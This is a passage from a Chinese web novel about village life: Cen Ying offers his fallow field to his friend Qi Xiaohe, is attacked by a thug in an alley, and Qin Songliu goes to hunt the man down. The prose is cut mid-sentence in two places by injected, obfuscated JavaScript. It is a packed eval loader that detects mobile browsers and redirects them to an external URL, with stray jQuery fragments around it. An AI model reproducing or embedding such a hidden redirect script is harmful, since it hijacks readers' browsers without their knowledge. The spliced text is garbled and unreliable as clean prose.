岑应出去后,齐小河也不敢乱走,就一直站在院子里。院子里有些空,只一角有些东西,是岑应用来放棕榈叶,做草编的。齐小河保持着一个姿势,直到岑应回来了。 岑应拿着东西进门,见齐小河还在原地站着,有些哭笑不得。岑应将饭菜拿到堂屋放下,招呼齐小河进来。 总共三个菜,分别是炖猪脚肉、炒韭菜和猪骨汤。猪骨汤里梁阿婆放了些滋补的草药,喝起来味道特别。将两个饼子热了,二人就这么吃起来,两个人谁也没有开口说话。 吃饱喝足后,岑应将东西收了,拿着两个大号的草编垫子就在院子里坐下了。齐小河望着那垫子好一会,才坐过去。 “说吧,我们河哥儿这是怎么了。”岑应扯过棕榈叶编起来,今日还没开始做草编呢。 齐小河习惯了岑应一边做草编,一边同他说话,自己也扯过棕榈叶慢慢编起来,好一会才开口说起来。 今日齐小河刚回到家,陈春会便让他把钱拿出来交公,说他是拿着家里的菜去买。 “扯呢,地是你开的,菜也是你打理的,家里平日拿去吃没什么,怎的就要交公。”岑应对这事也差不多知道些,觉得地虽是齐小河家里买的,但家里平日拿菜吃已经抵了这部分了。 齐小河知道原因,无非就是他嫂子看他亲事一直黄,觉得他一直吃家里喝家里的,占了她这个大儿媳的份。但这事岑应说的对,而且当初他爹也开口说了,这地种什么出来最后都算他的。 陈春会怎么纠缠,齐小河就是不依,最后闹到了齐小河他爹面前去。齐小河说出他爹当初答应他的事,想让他爹为他主持公道,没想到他爹只是沉默抽着土烟,并不言语。 “爹?”齐小河又叫了一声,希望这个做阿爹的为他说句话。 齐老汉依旧沉默,土烟头磕了磕地,不去看齐小河。陈春会则一脸得意看着齐小河,让他不要再抵抗,老实交钱。 他娘则拉着他,让他不要顶撞长嫂,免得冲撞了孩子。 原来是这样。 齐小河委屈涌上心头,难道这些年他为家里做的还不够吗。大哥基本一个月才回一次家,家里少了个壮劳力,他就顶上被当成个汉子用。因着嫁不出去的事,他吃得少做得多,想去赚些钱也是想以后有什么他就花自己的钱,不花家里的。 种地收地、洗衣做饭,就没有他不做、做不好的。 想到这,齐小河将今日卖菜钱掏了出来,塞进他娘手里。“都拿去吧,往后那块地我也不去管了。”说完人就从家里出来了。 岑应听到这里,手里停下了动作。岑应隐去自己未婚逃跑这一段,只说了在徐家的遭遇,半真半假将自己的事情说了出来。 “你看我还死了郎君呢,现下还不是好好的。卖不了菜咱就不卖了,咱进山去看哪些东西能卖,就把东西带出去拿去换钱。” 齐小河点头,“其实我也不是伤心不能卖菜……”齐小河静了静,像是不知道要怎么组织语言。 “我知道,我以前也伤心过,后来我就想通了。再伤心别人也不会改变,有伤心的功夫不如自个把日子过好。”以前小徐应会偷偷哭,不知道为什么徐家人不喜欢自己,现在齐家村的岑应已经不在乎了。 “知道了……”齐小河低着头,手里抠着棕榈叶。 岑应知道他不会那么快从自己的情绪里走出来,也没有再多说什么,手里加快做草编的速度。编编编……岑应好像想到了什么,停下手上的动作,转头对齐小河开口。 “要说种地,我好像有块空地,我都给忘了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234063|166002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 齐小河,“?”地,还能忘了吗?农户人家里谁不是指望着田地头吃饭。 岑应是真忘记了,他对种地一事向来没什么天赋,加上他就一个人,实在没有多的精力去种地了。 “是有,田契上写在村子西南边,近山脚下,你能带我去看看不。”岑应有些不好意思。自己的地还要别人带着去看。 “好,我带你去看看,但应该要找一会。”齐小河不知道说啥,他觉得岑应有时候呆呆的。 俩人正准备出发,门被敲响了。岑应反应了好一会,觉得应该是秦松柳,蹦蹦哒哒去开了门。 “秦郎君。”岑应将门打开,人都还没看清就先打了招呼。 “岑夫郎怎如此开心,是有什么好事吗。”秦松柳将竹篮递给岑应,笑呵呵的。 “没有没有,我同河哥儿正准备去田里看看。”岑应接过竹篮,抱在怀里。 秦松柳思索了一番,“可是原先兰花阿婆家的田?” “是呢,说来不好意思,我到齐家村几天了,才想起来去看看。” “那我带你去吧,正好我知道在哪。”秦松柳主动提出。 “秦郎君怎知道的。”岑应觉得还挺巧的,这样他和齐小河就不用去找了。 “有次他们收麦子,车子不小心翻了,我帮了他们一把。”那时秦松柳正好下山,看见了就顺手帮了个忙。 “原来是这样,秦郎君心地真好。”岑应正想抬脚准备出发,突然想到什么,又将脚收了回来,进屋将竹篮放好,又拽上了齐小河,这才出门同秦松柳前去田里。 秦松柳本以为只有他和岑应,没想到还有齐小河在,没想到岑应同齐小河的关系还挺好的。 三人走在乡里小径上,秦松柳在前,岑应两个哥儿在后。 秦松柳微微有些遗憾,还以为能和岑夫郎单独说上话呢。 走到原兰花阿婆田里,天色已经渐渐黑了下来,秦松柳给他们指了地方,就远远走开了,停在远处等他们。 其实这田还是很好认的,因为别的田里都长着茂密的作物,只有这片田是光秃秃的。兰花阿婆老俩口从儿子不在家后,便不怎么种地了,将其他的田陆陆续续卖了后,就只剩下这一块。又种了几年,老俩口实在是种不动了,这田就扔在这了。 齐小河捏了把土在手里,搓了搓又扬了回去。“虽然荒了一阵子,但土还是可以的。”又想了会,“现下已经三月,再过个十天就入夏了,玉米、麦子已经来不及种了,只能种些菜和花生。” 岑应想了想,开口。“河哥儿,我想将地交由你种菜,不知你可愿意。” “给我?”齐小河还以为岑应是被自己的事提醒了,才想起来这块地。 岑应点头,他种不好地,也没有那么多时间。地种下了是要花时间打理的,还要等里头的东西慢慢长成,他还要赚钱给家里添置很多东西呢。 “是,给你种,我也会来给你帮帮忙,到时候收成你七我三。” 齐小河想了想,同意了。除了春耕秋收,他不会再管家里的地,其余时间不如给自己进些收成。“好,到时田税我出了。” 按年算,当朝若种植玉米、麦子等庄稼田税为二十税一;若种植果树,则照本年某月最高收成十五税一;若只是种种菜,则需要交三十文田租。 决定好事情,岑应就打算回家去了,今日的草编数额还远远没有达标。岑应同秦松柳、齐小河告别,就着月色往家走去。他不知道的是秦松柳一直远远跟在他身后,等他进了家门才离开。 回到家,岑应仍是坐在院子里,就着月光将草编编够数了,才揉揉干涩的眼睛停下。 等赚够钱了还是得买盏油灯。 岑应将东西规整好,才回房歇息。这边齐小河躺在床上,脑子里也打算好了怎么种菜。 18. 惊吓 天还未全亮,岑应热了热昨晚梁阿婆给的两个红薯,这是阿婆昨日扔进灶里煨的,今日上锅里一蒸就能吃。刚热好,门外来了敲门声,是齐小河,岑应昨日让他来了就敲门,不要在门外干等。 “等会——”岑应将两个红薯揣进怀里,背上竹筐匆匆去开门,如今做的草编多了,加上青团,一个竹篮放不下。因此岑应花了五文钱,从梁阿婆那买了个竹筐,这价钱已经是低于市价了,就这梁阿婆还不想收。 出了门落好锁,岑应才同齐小河往村子外走去。刘婶子家不往县中送菜了,所以岑应同齐小河得每日早起走着去。 岑应扔了个红薯给齐小河,“趁热吃。” 齐小河今日出门什么都没吃,本想到县中再吃几个野果垫肚子,没想到岑应给他拿了红薯。 隔夜的红薯有些噎人,两个人有点被噎得说不出话来,一时有些安静。二人静默相望,扑哧一声笑出来。 “下次……下次不在路上吃噎人的红薯了,我没想到那么噎……”有口红薯卡在岑应嗓子里,不上不下,让人难受。 齐小河从筐子里拿出两个野果,“吃这个,水……” 岑应接过,嚼巴两口,人才好受了些。红薯还剩了一半,只是有点噎人也没坏,两个人就一口果子一口红薯这么吃着,吃完了人也饱了。 到了县中,岑应的草编生意还是那么好。有人记得齐小河,问他怎么没拿菜来卖,齐小河只说要过段时日,又问那人要不要果子,都是些没有虫眼,还又甜又大的果子,那人挑了挑,买了几个走。 后来陆陆续续来几个人,都是要买菜的,见只有果子又走掉了,齐小河还颇为遗憾。岑应见状只好安慰他,劝他说买果子的人也不少。 今日照例将东西卖空,岑应觉得按这个势头下去,他应该能过个很不错的冬天。 将摊子收了,岑应同齐小河前去采买。岑应去买粮的,毕竟老是去梁阿婆家吃吃喝喝也不好。齐小河则是去挑种子的,买到好的种子于收成大有助力。 两人分开走,岑应先到粮食铺子买了三斤粗面、一斤玉米面、和一斤糙米,粗面掺着玉米面吃,是农户人家常见的吃法,偶尔才会吃点糙米。岑应将粮食拿到手,估摸着自己能吃好久了,将东西装了寻齐小河去。 齐小河去的种子铺子是一个孤寡老汉开的,小摊子支在门口,得往小巷子里走。岑应转了一个弯,打巷子里走去,正走着,背篓似乎被什么拉住,往前不得。回头一个,是个邋里邋遢的汉子。 这邋遢汉子头发一股子油味,也不知道多久没洗,衣服也黑得看不出来什么颜色,感觉黏糊糊的。手指甲很长,有些发黄,指缝里头还有黑泥。 “放开!还不快滚!”岑应厉声,杏眼凌厉起来,在这种没什么人的小巷子遇到歹人,最是不能露怯的。 “嘿嘿,夫郎这是要去哪啊,若是不急,不如我请你喝喝茶。”这无赖盯了岑应很久了,见他时常一个人就起了歹念。在确认齐小河也是一个哥儿后,找着机会就对岑应下手了。 岑应不说话,抬起脚就走,这无赖却一把掐住他的右手腕,不让他走。岑应也不示弱,一脚往无赖那儿踢去,只是被躲开了,岑应踢到了腿上。 无赖吃痛,被激怒了,“不要脸的贱人,老子看上你是你的福气……” 无赖话还没说完,背上挨了一棍子,是一个矮小的老汉,举着一根长长的棍子,“你敢在这做这种事!看老汉我不教训教训你!”言毕又抽了几棍子。 那无赖吃痛,见有人来了,就马上跑了。齐小河跑过来扶起岑应,仔细打量他有没有受伤,确认他没什么事后才放下心来。 “没事就不要往这种巷子里跑,出了事情谁负责。”那矮老汉将棍子一收,把几袋种子扔给齐小河,转身走了。 “那是卖种子的老汉,听说有歹人在巷子里堵你,抄着棍子就来了,你别介意他说的话。”齐小河怕岑应会对矮老汉的态度不舒服,开口替那老汉解释。 岑应摇摇头,他谢人家还来不及呢。“对了,你们怎么知道我在这。” “是个小乞丐来报的信,在……在那呢。”齐小河四周打量,才看到那个报信的小乞丐正躲在后边,探头探脑。 岑应招招手,示意那个小乞丐过来,从怀里掏了十文钱给他。其实给吃的是最好的,毕竟这种小乞丐后边都有个头子,但岑应今日的青团都卖光了。 “多谢岑夫郎。”小乞丐嘴上是谢了,但没有要钱。“我不要钱,明天岑夫郎可以给我两个青团吗。” “你认得我?”岑应没想到这个小乞丐还认得他。 小乞丐点点头,说岑应之前分过青团给他吃,所以认得岑应和他朋友。今天他一直在外边那条街乞讨,见到齐小河往巷子里走去,也看见无赖从后边悄悄跟着岑应,所以才能去搬救兵。 岑应没想到自己的善意救了自己一次,他同小乞丐约好,让他明日到摊子去拿青团,又到巷子里同矮老汉道了谢,才往齐家村去。 回去路上齐小河很自责,如果不是岑应要去找他,就不会遇到这种事。岑应倒不觉得是齐小河的错,“若是他一早就打算对我如何,不是今日也可能是明日。” “那他以后还会不会再来?”齐小河担忧,双手忍不住握紧背篓的带子。 “总不能为了这么个人连生意都不做了,今后我俩在一块去做生意,不往人少的地方去,那无赖应该就找不到机会下手了。”岑应想过报官,可他一不知这无赖姓甚名谁,二也找不到他这个人,只能作罢。 “好,往后做什么我们都一起。”齐小河神色紧绷。 岑应看齐小河那么严肃,就打趣他,“今后就劳烦河哥儿保护我了。” “好。”齐小河眼神坚定,将这件事当成了一件大事。 岑应无言,心头被烫了一下,忙转开话题,聊起齐小河买了什么种子。 齐小河将自己的计划同岑应说了,打算种些小葱和韭菜这些长得快的菜,然后再种些黄瓜、茄子、辣椒、苦瓜和丝瓜,这些虽然长得没那么快,但种好了也是很有市场的。 岑应听了,同齐小河约好用了午饭休息休息,再下地里。 两人分别,岑应想打开锁,可眼前模糊一片,连锁眼在哪看不清。吸吸鼻子,又抹了把眼泪,岑应才将锁重新拿起来。 “岑夫郎?” 岑应转过头,习惯性挂起笑脸,如果不是双眼红红的还包了一圈眼泪,看起来就和平时没两样。 “这是怎么了?”秦松柳看岑应这样子,有些着急,他本是明日要上山了,想来同岑应说一声。 岑应觉得自己这样子有些丢脸,又抬手想擦擦眼泪,却被对面那人隔着衣服抓住了手臂。岑应抬头望向秦松柳,有些不明所以。 发觉这样有些轻浮,秦松柳放开手,语气轻轻,“手上青了,发生了什么。” 岑应看向右手腕,有两道青紫的掐痕,应当是无赖掐的。岑应轻抽了几下气,不知道为什么觉得今日秦松柳有点温柔,断断续续将事情说了,连他自己都发觉自己的语气好似在告状。 秦松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234064|166002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳听到无赖掐着岑应不放,脸黑了黑,随后又收敛起了神色,“在这等我一会。”言毕,秦松柳往家里跑去。 让在这等,岑应就乖乖站在原地等。秦松柳说一会就是一会,他跑得很快,在这个悠闲的村庄里显得突兀。秦松柳跑回来将一个小瓶子塞给岑应,是上好的膏药,活血化淤功效极佳。 “洗净手后抹在伤处,揉一揉,用一两次淤血就能散了。”秦松柳怕岑应不懂得怎么揉,就在自己的手腕处揉起,“像这样。” 岑应将药拿了,点点头,“知道了,多谢秦郎君。” “还记得那个人的样子吗?”秦松柳问岑应,但随即想起来些什么,“不记得也没关系,不用去想了。”秦松柳懊恼自己想事情不周全,要是岑应回想那些事情更害怕了咋办。 “记得的。”岑应已经不哭了,但鼻子还有些塞。“这人眼睛不大,大肉鼻,嘴唇也厚,右耳后有颗痦子。”这痦子还是矮老汉打人时,岑应看到的。 “好,我知道了。”秦松柳面色微沉,好像在想什么。 知道什么?岑应有些懵,但秦松柳没有和他多说,只叮嘱他要好好揉手腕,好好休息,不用担心这件事。 岑应,“?”怎么就不用担心了。只是还没等他问什么,秦松柳就催促他进屋去,岑应无法,加上他确实有些累了,便进屋去了。 进屋后岑应看了看水缸,已经有些见底了,但他现下没什么功夫去打水。舀了点缸底的水烧热了,将手放进去泡了泡,又按秦松柳说的用了膏药,做完一切好岑应躺在床上放空自己,脑袋迷迷糊糊的就睡过去了。 这边秦松柳已经往县城去了,他今日就要找出这个人。 走在这条路上的其他人,看见一个高壮的汉子,脚步飞快地走着,脸色黑沉沉的,像是要去哪里找人算账。 秦松柳到达县城后直接去找了孙头子,孙头子算赵鑫手下。赵鑫如今只做贵人的生意,而孙头子则负责解决三教九流的事,像无赖此人,可向孙头子打听一二。孙头子听赵鑫说过秦松柳,对他找上门来还挺惊讶,“秦兄弟今日怎的有空前来找你孙哥哥。” 秦松柳见山开门,说想要找一个人,将外貌描述后,孙头子摸摸下巴思考起来,总觉得自己好像见过这个人。静了一会,孙头子从凳子上站起来,用手指着其中一个小弟。“诶,是不是那个,有次在路上拦着我的那个。” 那小弟听他大哥这么说,也想了起来,“好像是,长得猥琐,邋里邋遢,有颗痦子。” “对对对,就是他。”孙头子一拍大腿,嗓门大剌剌。 “孙哥认得此人?”秦松柳没想到这样一个小头子会认识无赖那般人。 “嗐,就那回事……”原来是那无赖有日在街上拦了孙头子,说想给他做手下,孙头子看他那样子想也不想就拒了。“我也不是什么人都收的好吗……” 孙头子嘴里不断吐槽,小弟们则在一边就是就是,只有我们这样的人能做大哥的小弟。 秦松柳静静等孙头子吐槽完,“那敢问孙哥,此人平日在哪出没,家住何处,叫什么。” “叫什么,住哪里真不知道,至于在哪里出没……”孙头子有些不知道,毕竟他一个小头目,哪会关注这些小喽啰。 看自家大哥没想起来,他手下一个人才提醒了他,告诉秦松柳那无赖平日在哪出没。 “多谢孙哥,改日请你吃酒。”秦松柳抱拳,孙头子见他确实有事也不多留他,摆摆手就让他走了。 秦松柳从孙头子处出了,直奔那几条街去。